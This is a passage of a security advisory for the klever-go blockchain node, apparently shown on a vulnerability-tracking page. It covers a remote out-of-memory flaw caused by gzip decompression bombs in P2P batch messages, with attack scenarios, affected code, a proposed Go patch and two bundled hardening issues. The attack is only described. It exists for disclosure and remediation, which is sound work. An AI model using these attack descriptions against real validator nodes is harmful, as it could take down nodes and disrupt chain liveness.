configuration\n(`peerMaxInput.totalSizePerInterval: 4194304` = 4 MiB/s per peer), an\nattacker can ship roughly 80 such bombs per second per connected peer\nbefore tripping the per-peer byte budget. The per-peer message count\nlimit (`baseMessagesPerInterval: 140` per fastReacting interval, 1000\nbefore blacklisting) is high enough to permit the attack to run for\nseveral seconds before any blacklist activates. By that point the node\nprocess is already OOM-killed.\n\nRealistic attack scenarios:\n\n* A single attacker connected to one validator can OOM that validator\n  in under a second (one bomb suffices on memory-constrained nodes).\n* A small number of malicious peers spread across the validator fleet\n  can OOM the entire fleet within a single block-production interval,\n  affecting chain liveness.\n* Eclipse-attack composition: the cost is paid before any peer\n  reputation logic runs, so the attack works regardless of whether the\n  receiver attributes the message to originator or relayer.\n\n## Affected Code\n\n* `data/batch/batch.go:35-53`   \u2014 `decompressGzip`, unbounded `io.ReadAll`\n* `data/batch/batch.go:109-137` \u2014 `Batch.Decompress`, ignores `DataSize`,\n                                   re-`Unmarshal`s inflated bytes\n* `core/process/interceptors/multiDataInterceptor.go:95-102` \u2014 call site\n* `core/process/interceptors/multiDataInterceptor.go:84-94`  \u2014 preceding\n                                   `Unmarshal` step\n\n## Patches\n\nA patch is in preparation on a private branch and will land in rc2,\ntogether with the fix for `GHSA-74m6-4hjp-7226`. The intended fix\nshape:\n\n```go\nconst maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic\n\nfunc decompressGzip(data []byte, max int64) ([]byte, error) {\n    r, err := gzip.NewReader(bytes.NewReader(data))\n    if err != nil { return nil, err }\n    defer r.Close()\n    lr := io.LimitReader(r, max+1)\n    out, err := io.ReadAll(lr)\n    if err != nil { return nil, err }\n    if int64(len(out)) \u003e max {\n        return nil, ErrDecompressionTooLarge\n    }\n    return out, nil\n}\n\nfunc (ba *Batch) Decompress(m marshal.Marshalizer) error {\n    if !ba.IsCompressed { return common.ErrNotCompressed }\n    if ba.DataSize \u003e maxInflatedBatch {\n        return ErrDecompressionTooLarge\n    }\n    result, err := decompressGzip(ba.Stream, maxInflatedBatch)\n    if err != nil { return err }\n    if int64(len(result)) != int64(ba.DataSize) \u0026\u0026 ba.DataSize \u003e 0 {\n        return ErrDecompressedSizeMismatch\n    }\n    if err := m.Unmarshal(ba, result); err != nil { return err }\n    ba.Stream, ba.IsCompressed = nil, false\n    return nil\n}\n```\n\nThe cap value should be selected per topic. A 64 MiB ceiling preserves\nbackward compatibility for legitimate large batches while reducing the\nworst-case allocation by \u224830\u00d7 relative to the measured PoC and \u2248400\u00d7\nrelative to the upper bound of an uncapped attack.\n\nA regression test based on the PoC will accompany the patch.\n\n## Workarounds\n\nNone at the configuration level. The `peerMaxInput.totalSizePerInterval`\nbudget could theoretically be lowered, but as the PoC measurements show,\na single bomb is already lethal on memory-constrained nodes. Patch is\nrequired.\n\n## Bundled Hardening (no separate CVE)\n\nThe following two issues were identified in the same call path during\nthe review. They are not independently exploitable under the default\ndeployed `defaultMaxMessagesPerSec: 35000` per-topic anti-flood limit\nand so do not warrant their own CVEs. They are remediated by the same\npatch as the headline vulnerability and are documented here for\ntransparency.\n\n### Bundled #1 \u2014 Slice pre-allocation amplification (CWE-789, CWE-770)\n\n`multiDataInterceptor.go:123` performs:\n\n```go\nlistInterceptedData := make([]process.InterceptedData, len(multiDataBuff))\n```\n\n`len(multiDataBuff)` is `len(b.Data)` after `Unmarshal` and `Decompress`,\nboth of which are attacker-controlled. Under the default per-topic\ncount budget this is bounded; a deployer who loosens that budget, or\nany future code path that bypasses it, would expose \u224816 bytes \u00d7\nattacker-chosen-N of allocation. The same patch caps `len(b.Data)`\nimmediately after `Unmarshal`, again after `Decompress`, and before the\nmake.\n\nThe unconditional component of this finding \u2014 that `Decompress`\u0027s\ninternal `Unmarshal` populates `b.Data` with N `[]byte` slice headers\n(24 B each) before any count-budget check runs \u2014 is captured by the\nheadline finding\u0027s PoC.\n\n### Bundled #2 \u2014 Self-message anti-flood bypass (CWE-290, CWE-693)\n\n`baseDataInterceptor.go:32` exempts messages from anti-flood enforcement\nwhen:\n\n```go\nbytes.Equal(m.Signature(), m.From()) \u0026\u0026\nbytes.Equal(m.From(), bdi.currentPeerID.Bytes()) \u0026\u0026\nfromConnectedPeer == bdi.currentPeerID\n```\n\nThe first equality is a sentinel byte comparison, not a cryptographic\ncheck. Exploitability depends on whether the upstream libp2p stack\nverifies envelope signatures before reaching `preProcessMessage`. The\npatch replaces the sentinel with a defense-in-depth check and ensures\nthrottler accounting still runs on the self-message path.\n\n## Coordination with `GHSA-74m6-4hjp-7226`\n\nThe maintainer team is concurrently handling `GHSA-74m6-4hjp-7226`,\nwhich discloses an adjacent throttler-slot-leak finding in the same\n`ProcessReceivedMessage` function. The two CVEs are independently\nfixable per CNA Operational Rules, but operationally the patches must\nland in one release. rc2 will supersede rc1 and contain fixes for both\nadvisories. Validators upgrade once.\n\n\n## Credits\n\nFernando Sobreira (maintainer, internal security review).\n\n## References\n\n* Reviewed commit: `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`\n* Related advisory: `GHSA-74m6-4hjp-7226`\n* CWE-409: https://cwe.mitre.org/data/definitions/409.html\n* CWE-770: https://cwe.mitre.org/data/definitions/770.html",
  "id": "GHSA-87m7-qffr-542v",
  "modified": "2026-05-29T21:57:08Z",
  "published": "2026-05-13T01:36:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-87m7-qffr-542v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44697"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.